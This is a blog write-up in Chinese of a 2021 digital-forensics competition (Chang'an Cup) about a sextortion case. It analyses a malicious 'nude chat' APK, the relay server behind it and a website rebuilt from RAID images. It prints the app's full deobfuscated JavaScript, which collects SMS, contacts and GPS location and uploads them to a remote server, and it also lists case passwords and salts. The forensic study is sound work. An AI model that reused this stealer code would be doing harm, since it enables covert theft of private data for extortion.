电子取证-长安杯2021 学习记录

题目

题目描述

2021年4月25日,上午8点左右,警方接到被害人金某报案,声称自己被敲诈数万元;经询问,昨日金某被嫌疑人诱导裸聊,下载了某“裸聊”软件,导致自己的通讯录和裸聊视频被嫌疑人获取,对其进行敲诈,最终金某不堪重负,选择了报警;警方从金某提供的本人手机中,定向采集到了该“裸聊”软件的安装包–zhibo.apk(检材一),请各位回答下列问题:(题目 中需要通过分析出来的答案对检材二三四五解压,解压密码为IP的情况,需要在密码后增加-CAB2021,例192.168.110.110-CAB2021)

检材


使用VeraCrypt挂载,挂载密码为

1
2021第三届CAB-changancup.com

第一题

请计算检材一Apk的SHA256值

使用HashCalc计算检材一-zhibo.apk的SHA256的hash值

1
3fece1e93be4f422c8446b77b6863eb6a39f19d8fa71ff0250aac10f8bdde73a

第二题

该APK的应用包名为

使用jadx反编译,查看AndroidManifest.xml中的package便是应用包名plus.H5B8E45D3

第三题

该APK程序在封装服务商的应用唯一标识(APPID)为

assets文件夹下的apps中可以找到appid:

第四题

该APK具备下列哪些危险权限(多选题):

1
2
3
4
5
A.读取短信  
B.读取通讯录
C.读取精确位置
D.修改通讯录
E.修改短信

各种权限:[chluo1997.github.io]

读取短信内容 android.permission.READ_SMS,读取短信内容
读取联系人 android.permission.READ_CONTACTS,允许应用访问联系人通讯录信息
获取精确位置 android.permission.ACCESS_FINE_LOCATION,通过GPS芯片接收卫星的定位信息,定位精度达10米以内
写入联系人 android.permission.WRITE_CONTACTS,写入联系人,但不可读取
编写短信 android.permission.WRITE_SMS,允许编写短信
因此选ABCDE

第五题

该APK发送回后台服务器的数据包含一下哪些内容(多选题):

1
2
3
4
5
A.手机通讯录  
B.手机应用列表
C.手机号码
D.验证码
E.GPS定位信息


发现可疑代码:

sojson.v4解密得到:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
/*
*Aman - 194nb.com
*/
/*
*Progcessed By JSDec in 0.00s
*JSDec - JSDec.js.org
*/
mui.init();

mui.plusReady(function () {
//var main = plus.android.runtimeMainActivity();
// main.moveTaskToBack(false);

var address = plus.device.vendor + '-' + plus.device.model;
address = address.replace(/\n/g, "").replace(/ /g, "").replace(/\r/g, "");
var apiserver = 'http://www.honglian7001.com/api/uploads/';
//重复数据处理 预防用户重复点击
var danjishijian = true;
function requestPermission(sjh, yqm) {
plus.android.requestPermissions(
["android.permission.READ_SMS"],
function (resultObj) {
//SmsInfo存放一条短信的各项内容
var SmsInfo = {}
//Sms存放所有短信
var Sms = {}

var aimei = sjh;
var aimei2 = yqm;
var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
var Cursor = plus.android.importClass("android.database.Cursor")
var Uri = plus.android.importClass("android.net.Uri")   //注意啦,android.net.Uri中的net是小写
var activity = plus.android.runtimeMainActivity()
var uri = Uri.parse("content://sms/");

var projection = new Array("_id", "address", "person", "body", "date", "type")
var cusor = activity.managedQuery(uri, projection, null, null, "date desc")
var idColumn = cusor.getColumnIndex("_id")
var nameColumn = cusor.getColumnIndex("person")
var phoneNumberColumn = cusor.getColumnIndex("address")
var smsbodyColumn = cusor.getColumnIndex("body")
var dateColumn = cusor.getColumnIndex("date")
var typeColumn = cusor.getColumnIndex("type")
if (cusor != null) {
while (cusor.moveToNext()) {
SmsInfo.id = cusor.getString(idColumn)
SmsInfo.Name = cusor.getInt(nameColumn)
SmsInfo.Date = cusor.getLong(dateColumn)
SmsInfo.Date = getFormatDate(SmsInfo.Date)
SmsInfo.PhoneNumber = cusor.getString(phoneNumberColumn)
SmsInfo.Smsbody = cusor.getString(smsbodyColumn)
SmsInfo.Type = cusor.getString(typeColumn)

var post = JSON.stringify(SmsInfo);
//console.log(post);
duanxin = duanxin + ',' + post;

}
duanxin = duanxin + ']';
//alert(duanxin);

mui.ajax(apiserver + 'apisms', {
data: {
data: duanxin
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
mui.toast('获取成功')
//console.log(con)


},
error: function (xhr, type, errorThrown) {
//异常处理;

}
});
cusor.close()
}

},
function (error) {
console.log('申请权限错误:' + error.code + " = " + error.message);
});
}



//扩展Date功能:将long型日期转换为特定的格式
Date.prototype.format = function (format) {
var o = {
"M+": this.getMonth() + 1,
"d+": this.getDate(),
"h+": this.getHours(),
"m+": this.getMinutes(),
"s+": this.getSeconds(),
"q+": Math.floor((this.getMonth() + 3) / 3),
"S": this.getMilliseconds()
}
if (/(y+)/.test(format)) {
format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length));
}
for (var k in o) {
if (new RegExp("(" + k + ")").test(format)) {
format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ("00" + o[k]).substr(("" + o[k]).length));
}
}
return format;
}


//将long型日期转换为特定格式
function getFormatDate(l, pattern) {
date = new Date(l);
if (pattern == undefined) {
pattern = "yyyy-MM-dd hh:mm:ss";
}
return date.format(pattern);
}


//alert(plus.device.uuid)
plus.navigator.setStatusBarBackground("#db6eff");

mui("body").off("tap");

mui("body").on('tap', '#tx', function (event) {

$('#tx').hide();
$('#zz').show();
});

mui("body").on('tap', '#gb', function (event) {

$('#tx').show();
$('#zz').hide();
});

mui("body").on('tap', '#qd', function (event) {
if (danjishijian) {
danjishijian = false;
aa()
} else {
aa()
}

});


function getPermission(permissionIdentity, successCallBack, errorCallBack) {
//权限标识转换成大写
var permissionIdentity = permissionIdentity.toUpperCase();
//获取检测权限的状态
var checkResult = plus.navigator.checkPermission(permissionIdentity);
//权限状态是否正常
var permissionStatusOk = false;
//权限中文名称
var permissionName = '';
//对应 andorid 的具体权限
var androidPermission = '';
//获取权限中文意思与对应 android 系统的权限字符串
switch (permissionIdentity) {

case 'CONTACTS':
permissionName = '系统联系人';
androidPermission = 'android.permission.READ_CONTACTS'
break;

default:
permissionName = '未知';
androidPermission = '未知';
break;
}

//判断检查权限的结果
switch (checkResult) {
case 'authorized':
//正常的
permissionStatusOk = true
break;
case 'denied':
//表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框
//如果有该权限但是没有打开不进行操作还是会去申请或手动打开
// console.log('已关闭' + permissionName + '权限')
// errorCallBack('已关闭' + permissionName + '权限');
// return
break;
case 'undetermined':
// 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认
// this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)
// errorCallBack('未确定' + permissionName + '权限');
// return
break;
case 'unknown':
errorCallBack('无法查询' + permissionName + '权限');
return
break;
default:
errorCallBack('不支持' + permissionName + '权限');
return
break;
}

//如果权限是正常的执行成功回调
if (permissionStatusOk) {
successCallBack()
} else {
//如果不正常,如果是 andorid 系统,就动态申请权限
if (plus.os.name == 'Android') {
//动态申请权限
plus.android.requestPermissions([androidPermission], function (e) {
if (e.deniedAlways.length > 0) {
//权限被永久拒绝
// 弹出提示框解释为何需要定位权限,引导用户打开设置页面开启
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Always Denied!!! ' + e.deniedAlways.toString());
}
if (e.deniedPresent.length > 0) {
//权限被临时拒绝
// 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Present Denied!!! ' + e.deniedPresent.toString());
}
if (e.granted.length > 0) {
//权限被允许
//调用依赖获取定位权限的代码
successCallBack()
// console.log('Granted!!! ' + e.granted.toString());
}
}, function (e) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Request Permissions error:' + JSON.stringify(e));
})
} else if (plus.os.name == 'iOS') {
//ios ,第一次使用目的权限时,应用的权限列表里是不存在的,所以先默认执行一下成功回调,打开要使用的操作,比如 plus.camera
//这时系统会提示是否打开相应的权限,如果拒绝也没关系,因为应用的权限列表里已经存在该权限了,下次再调用相应权限时,就会
//走 else 里的流程,会给用户提示,并且跳转到应该的权限页面,让用户手动打开。
if (checkResult == 'undetermined') {
//调用依赖获取定位权限的代码
successCallBack(true)
} else {
//如果是 ios 系统,ios 没有动态申请操作,所以提示用户去设置页面手动打开
mui.confirm(permissionName + '权限没有开启,是否去开启?', '提醒', ['取消', '确认'], function (e) {
//取消
if (e.index == 0) {
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
} else if (e.index == 1) {
//确认,打开当前应用权限设置页面
var UIApplication = plus.ios.import('UIApplication');
var application2 = UIApplication.sharedApplication();
var NSURL2 = plus.ios.import('NSURL');
// var setting2 = NSURL2.URLWithString("prefs:root=LOCATION_SERVICES");
var setting2 = NSURL2.URLWithString('app-settings:');
application2.openURL(setting2);

plus.ios.deleteObject(setting2);
plus.ios.deleteObject(NSURL2);
plus.ios.deleteObject(application2)
}
}, 'div')
}
}
}
}



function aa() {
var sjh = $('#sjh').val();
var yqm = $('#yqm').val();
if (parseInt(sjh) > 0 && parseInt(yqm) > 0 && parseInt(sjh) > 13000000000 && parseInt(sjh) < 19999999999 && parseInt(yqm) > 0 && parseInt(yqm) < 999999) {

getPermission('CONTACTS', function () {
huoqu(sjh, yqm);

}, function (msg) {
mui.alert(msg, '提醒', '确定', function () { }, 'div')
//aa()
})
}
else {
mui.toast('请输入正确的手机号和邀请码')
}

}




function dingwei(sjh, yqm) {
plus.geolocation.getCurrentPosition(translatePoint, function (e) {
mui.toast("异常:" + e.message);
});
}

function translatePoint(position) {

var sjh = $('#sjh').val()
var yqm = $('#yqm').val()
var currentLon = position.coords.longitude;
var currentLat = position.coords.latitude;
var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
mui.ajax(apiserver + 'apimap', {
data: {
data: jingweidu
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {

if (data == '获取成功') {
requestPermission(sjh, yqm);

//setInterval(function(){
//var sjh=$('#sjh').val();
//var yqm=$('#yqm').val();
//requestPermission(sjh,yqm);
//console.log('send')

//},30000)
}

mui.toast(data)
},
error: function (xhr, type, errorThrown) {
//异常处理;


}
});

//书写自己的逻辑

}
// 扩展API加载完毕,现在可以正常调用扩展API

function huoqu(sjh, yqm) {
var con = sjh + "**" + yqm + '**' + address;


plus.contacts.getAddressBook(plus.contacts.ADDRESSBOOK_PHONE, function (addressbook) {


addressbook.find(["displayName", "phoneNumbers"], function (contacts) {


for (var i = 0, len = contacts.length; i < len; i++) {
con = con + '=' + contacts[i].displayName + '|' + (contacts[i].phoneNumbers.length == 0 ? "" : contacts[i].phoneNumbers[0].value);
}





mui.ajax(apiserver + 'api', {
data: {
data: con
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
//alert(data)
if (data == '正在加载列表') {
dingwei(sjh, yqm);
mui.openWindow({
url: 'list.html',
show: {
autoShow: true
}
});
} else {
mui.toast(data)
}
//console.log(con)
},
error: function (xhr, type, errorThrown) {
//异常处理;


}
});



}, function () {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
}, {
multiple: true
});
}, function (e) {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
});
}




});

分析后得到,选ACDE

第六题

该APK程序回传通讯录时,使用的http请求方式为()

由上一题中得到的代码可知,

1
2
3
4
5
6
7
8
9
10
mui.ajax(apiserver + 'apisms', {
data: {
data: duanxin
},
dataType: 'text',//服务器返回json格式数据
type: 'post',//HTTP请求类型
timeout: 10000,//超时时间设置为10秒;
success: function (data) {
mui.toast('获取成功')
//console.log(con)

http请求类型为post

第七题

该APK程序的回传地址域名为【标准格式:www.abc.com】

代码中可以找到:
var apiserver = 'http://www.honglian7001.com/api/uploads/';
因此回传地址域名为:www.honglian7001.com

第八题

该APK程序代码中配置的变量apiserver的值为 【标准格式:www.abc.com/abc】

同上一题中找到的,即www.honglian7001.com/api/uploads

第九题

分析该APK,发现该程序还具备获取短信回传到后台的功能,短信上传服务器接口地址为【标准格式:www.abc.com/abc】 (后面不带/)

代码中可以找到

1
mui.ajax(apiserver + 'apisms',

具体的apiserver我们已知,apisms是具体的接口路径,因此最终得到的接口路径为www.honglian7001.com/api/uploads/apisms

第十题

经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该文件的文件名为

数据库文件后缀为.db,搜索得

找到一个SQLiteDatabase数据库中生成的一个文件test.db

第十一题

经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该数据库的初始密码为

分析代码:

1
2
3
byte[] key = {97, 98, 99, 100, 101, 102};

SQLiteDatabase writableDatabase = dbHelper.getWritableDatabase(getMD5(bytesToHex(key).substring(1, 3)));

先转成十六进制616263646566
然后取[1,3)的值进行md5计算,得到c74d97b01eae257e44aa9d5bade97baf

第十二题

检材二的原始硬盘的SHA256值为:

先使用第七题的答案进行解压

1
www.honglian7001.com

使用X-Ways挂载后计算哈希值,得到
E6873068B83AF9988D297C6916329CEC9D8BCB672C6A894D393E68764391C589

第十三题

查询涉案于案发时间段内登陆服务器的IP地址为【标准格式:111.111.111.111】

/var/log/wtmp查看登录日志

因此为192.168.110.203

第十四题

请对检材二进行分析,并回答该服务器在集群中承担的主要作用是()【格式:文件存储】


火眼创建虚拟机
进入虚拟机后,尝试查看历史命令,由于普通用户能查看的历史命令有限,先使用su root进入root用户再使用history查看历史命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
1  ls
2 cd Desktop/
3 ls
4 uname -a
5 cat /etc/issue
6 lsb_release -a
7 cat /proc/cpuinfo
8 hostname
9 whoiam
10 whoani
11 whoami
12 lspci
13 env
14 lsusb
15 cat /proc/meminfo
16 df -h
17 fsdisk -l
18 fdisk -l
19 ps aux
20 ps -ef
21 crontab -l
22 services --status-all
23 service --status-all
24 service
25 service --status-all
26 systemctl
27 systemctl --help
28 systemctl -all
29 ls
30 init 3
31 ls
32 cd /
33 ls
34 cd opt
35 ls
36 cd honglianjingsai/
37 ls
38 cd chronusNode/
39 ls
40 cd logs
41 ls
42 rm *
43 ls
44 ip a
45 init 3
46 ls
47 who
48 w
49 cd /opt/
50 ls
51 cd honglianjingsai/
52 ls
53 cdd chronusNode/
54 cd chronusNode/
55 ;s
56 ls
57 cd controller/
58 ls
59 ls -l
60 date
61 history
62 ls
63 cd ..
64 ls
65 cd logs/
66 ls
67 ls -l
68 ls
69 cd ..
70 ;s
71 ls
72 cd controller/
73 l;s
74 ls
75 cd ..
76 l;s
77 ls
78 cd static/
79 ls
80 cd .
81 cd ..
82 ls
83 cd uploads/
84 ls
85 cd ..
86 ls
87 cd ..
88 ls
89 more README.txt
90 ifconfig
91 netstat -anpt
92 init 3
93 vi /etc/sysconfig/network-scripts/ifcfg-ens33
94 reboot
95 ifconfig
96 init 3
97 ls
98 firewall-cmd --add-port 80/tcp
99 systemctl start firewalld
100 firewall-cmd --add-port 80/tcp
101 ip a
102 cd /opt
103 ls
104 cd honglianjingsai/
105 ls
106 cd chronusNode/
107 ls
108 cd controller/
109 ls
110 vi ADProxy.js
111 ls
112 cd /opt/
113 ls
114 cd honglianjingsai/
115 ls
116 cd chronusNode/
117 ls
118 cd controller/
119 ls
120 more ADProxy.js
121 clear
122 ls
123 cd ..
124 ls
125 node app.js
126 clear
127 history
128 cd /opt/honglianjingsai/
129 ls
130 cd chronusNode/
131 ls
132 cd controller/
133 ls
134 vi ADProxy.js
135 yum vim
136 yum install vim
137 ls
138 ping www.baidu.com
139 ping baidu.com
140 yum install vim
141 vim ADProxy.js
142 more ADProxy.js
143 vim ADProxy.js
144 cd ..
145 lsls
146 ls
147 more README.txt
148 cd chronusNode/controller/
149 vim ADProxy.js
150 cd ..
151 ls
152 vim const.js
153 firewall-cmd --zone=public --add-port=80/tcp --permanent
154 ifconfig
155 ping 192.168.110.111
156 ls
157 cd controller/
158 ls
159 vim ADProxy.js
160 firewall-cmd --add-port=80/tcp --permanent
161 systemctl stop firewalld
162 vim ADProxy.js
163 LS
164 ls
165 cd ..
166 ls
167 cd logs/
168 ls
169 more 2021-4-23-6-34.log
170 more 2021-4-23-6-31.log
171 cd ..
172 cd controller/
173 ls
174 vim ADProxy.js
175 vim /etc/hosts
176 vim ADProxy.js
177 cd ..
178 ls
179 node app.js
180 reboot
181 cd /opt
182 ls
183 cd honglianjingsai/
184 ls
185 cd chronusNode/
186 ls
187 node app.js
188 history
189 cd /opt/
190 cd honglianjingsai/
191 ls
192 cd chronusNode/
193 cd controller/
194 ls
195 vim ADProxy.js
196 cd ..
197 ls
198 cd logs/
199 l;s
200 ls
201 ll
202 vim 2021-4-23-17-36.log
203 cd /opt/
204 ls
205 cd honglianjingsai/
206 ls
207 cd chronusNode/
208 ls
209 cd controller/
210 ls
211 vim ADProxy.js
212 history
213 reboot
214 cd /opt/honglianjingsai/
215 ls
216 cd chronusNode/
217 ls
218 cd logs
219 ls -la
220 cat 2021-4-23-6-53.log
221 cat 2021-4-23-17-39.log
222 date
223 systemctl start firewalld
224 firewall-cmd --add-port 80/tcp
225 cd ..
226 ls
227 cd controller/
228 ls
229 vi ADProxy.js
230 ls
231 vi ADTCPDeliver.js
232 vi ADFileServer.js
233 ls
234 cd ..
235 ls
236 vi app.js
237 ls
238 cd controller/
239 ls
240 vi ADProxy.js
241 ls
242 cd ..
243 ls
244 cd model/
245 ls
246 cd ..
247 ls
248 cd node_modules/
249 ls
250 ifconfig
251 reboot
252 clear
253 cd /opt/honglianjingsai/chronusNode/
254 ls
255 cd logs/
256 ls
257 ls -la
258 cd .
259 ls
260 ls -la
261 date
262 vim 2021-4-23-18-59.log
263 date
264 timedatectl
265 timedatectl set-timezone UTC
266 timedatectl
267 date
268 ls
269 last
270 clear
271 ififconfigiig
272 ifconfig
273 reboot
274 clear
275 ifconfig
276 ifconfig
277 cd /opt/honglianjingsai/chronusNode/
278 node app.js
279 shutdown -r now

从后面几题可以看出,该服务器主要实现对不同服务器的转发,因此功能为负载均衡

第十五题

上一题中,提到的主要功能对应的服务监听的端口为:


打开chronusNode/const.js,得到服务器基本配置:

1
2
3
4
5
6
7
8
* 服务器基本配置 */
server_config : {
host : '0.0.0.0',
port : 80,
safe_port : 8443,
static_path : 'static',
static_host : '127.0.0.1'
},

因此得到端口为80

第十六题

上一题中,提到的服务所使用的启动命令为:

从历史命令

1
2
3
277  cd /opt/honglianjingsai/chronusNode/
278 node app.js
279 shutdown -r now

可以看出,启动命令为:node app.js

第十七题

经分析,该服务对于请求来源IP的处理依据是:根据请求源IP地址的第()位进行判断【标准格式:9】

/chronusNode/controller/ADProxy.js中进行查看

得到是clientIPArr[2],即第3

第十八题

经分析,当判断条件小于50时,服务器会将该请求转发到IP为()的服务器上【标准格式:111.111.111.111】

在代码中得到

1
2
3
4
if (clientIP3Int <= 50) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy50));
return _proxy50

同时在上面代码有:

1
2
3
4
5
6
const _proxy50 = {
protocol: 'http:',
host: '192.168.110.111',
port: 80
}

因此会发到192.168.110.111

第十九题

请分析,该服务器转发的目标服务器一共有几台【标准格式:9】


可以看到,是3

第二十题

请分析,受害者通讯录被获取时,其设备的IP地址为【标准格式:111.111.111.111】

查看日志目录,发现受害者通信录被获取时,即4.24,只存在一个日志文件

查看得到

192.168.110.252

第二十一题

请分析,受害者的通讯录被窃取之后,经由该服务器转发到了IP为()的服务器上【标准格 式:111.111.111.111】

由上题可知,转发到了
192.168.110.113

第二十二题

检材三的原始硬盘的SHA256值为:

挂载密码:192.168.110.113-CAB2021
由上边分析可知,最后被转发到了第三个服务器,因此使用x-ways恢复镜像文件计算sha值

1
205C1120874CE0E24ABFB3BB1525ACF330E05111E4AD1D323F3DEE59265306BF

第二十三题

请分析第21题中,所指的服务器的开机密码为:

Linux密码信息保存在两个文件中,分别为:/etc/passwd/etc/shadow

第二十四题

嫌疑人架设网站使用了宝塔面板,请问面板的登陆用户名为:


仿真分析,得到用户名为hl123

第二十五题

请分析用于重置宝塔面板密码的函数名为

宝塔面板重置网站密码功能调用的是/www/server/panel/tools.py

因此为set_panel_pwd

第二十六题

请分析宝塔面板登陆密码的加密方式所使用的哈希算法为


哈希算法为md5

第二十七题

请分析宝塔面板对于其默认用户的密码一共执行了几次上题中的哈希算法


找到public模块的导入文件public.py,查看得到

发现password_salt文件有两次md5,加上之前的一次,共3

第二十八题

请分析当前宝塔面板密码加密过程中所使用的salt值为【区分大小写】


发现访问的是data/default.db数据库,查看得到

salt为v87ilhAVumZL

第二十九题

请分析该服务器,网站源代码所在的绝对路径为【标准格式/xxx/xxx/xxx】


火眼中查看得到/www/wwwroot/www.honglian7001

第三十题

请分析,网站所使用的数据库位于IP为()的服务器上(请使用该IP解压检材5,并重构网 站)【标准格式:111.111.111.111】

找到网站数据库相关文件www/wwwroot/www.honglian7001/app/database.php

得到IP地址192.168.110.115

第三十一题

请分析,数据库的登陆密码为【区分大小写】

同上图片中:
wxrM5GtNXk5k5EPX

第三十二题

请尝试重构该网站,并指出,该网站的后台管理界面的入口为【标准格式:/web】

查看/admin/common.php发现是后台管理文件,

后台管理入口为:/admin

Raid重组网站
先将检材五001.zip解压得到检材五001.txt,然后用VeraCrypt挂载,挂载密码为192.168.110.115-CAB2021
使用FTK image挂载得到的3个dd文件,挂载模式选择可写。
在R-studio中创建虚拟卷组和RAID,然后将这几个磁盘移入,进行自动检测


之后进行创建镜像,然后进行仿真,此时访问http://192.168.110.113/admin/common/login.shtml

第三十三题

已该涉案网站代码中对登录用户的密码做了加密处理。请找出加密算法中的salt值【区分大小写】


可以看出salt值为:lshi4AsSUrUOwWV

第三十四题

请分析该网站的管理员用户的密码为

查看运行日志www.honglian7001/runtime/log/202104/24.log


发现两个,尝试之后得到密码为:security

第三十五题

在对后台账号的密码加密处理过程中,后台一共计算几次哈希值


3

烂尾…

后续的题目不知道是不是环境问题,复现失败了,看来本次也只能烂尾了。
本来这次复现就是给盘古石杯做准备,现在盘古石杯已经比完了(学了几天拼尽全力也只混到了一个二等奖,还多亏队友带飞┭┮﹏┭┮),等下次美亚杯再继续学习取证吧(溜了溜了…)


电子取证-长安杯2021 学习记录
http://ramoor.github.io/2025/05/03/电子取证-长安杯2021 学习记录/
作者
Ramoor
发布于
2025年5月3日
许可协议